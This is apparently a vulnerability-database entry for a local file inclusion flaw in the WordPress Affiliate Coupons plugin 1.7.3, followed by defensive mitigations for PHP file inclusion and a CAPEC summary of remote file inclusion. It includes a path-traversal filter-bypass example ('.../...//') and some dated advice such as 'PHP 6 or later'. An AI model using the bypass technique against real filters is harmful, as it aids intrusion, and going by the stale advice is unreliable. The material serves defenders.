"url": "https://patchstack.com/database/wordpress/plugin/affiliate-coupons/vulnerability/wordpress-affiliate-coupons-plugin-1-7-3-local-file-inclusion-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-4
Architecture and Design
Strategy: Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Mitigation MIT-21.1
Architecture and Design
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-15
Architecture and Design
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-22
Architecture and Design
Operation
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-17
Architecture and Design
Operation
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-5.1
Implementation
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent lists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-34
Architecture and Design
Operation
Strategy: Attack Surface Reduction
- Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
- This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-6
Architecture and Design
Implementation
Strategy: Attack Surface Reduction
- Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
- Many file inclusion problems occur because the programmer assumed that certain inputs could not be modified, especially for cookies and URL components.
Mitigation MIT-29
Operation
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation
Operation
Implementation
Strategy: Environment Hardening
Develop and run your code in the most recent versions of PHP available, preferably PHP 6 or later. Many of the highly risky features in earlier PHP interpreters have been removed, restricted, or disabled by default.
Mitigation MIT-16
Operation
Implementation
Strategy: Environment Hardening
- When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
- Often, programmers do not protect direct access to files intended only to be included by core programs. These include files may assume that critical variables have already been initialized by the calling program. As a result, the use of register_globals combined with the ability to directly access the include file may allow attackers to conduct file inclusion attacks. This remains an extremely common pattern as of 2009.
Mitigation
Operation
Strategy: Environment Hardening
Set allow_url_fopen to false, which limits the ability to include files from remote locations.
CAPEC-193: PHP Remote File Inclusion
In this pattern the adversary is able to load and execute arbitrary code remotely available from the application. This is usually accomplished through an insecurely configured PHP runtime environment and an improperly sanitized "include" or "require" call, which the user can then control to point to any web-accessible file. This allows adversaries to hijack the targeted application and force it to execute their own instructions.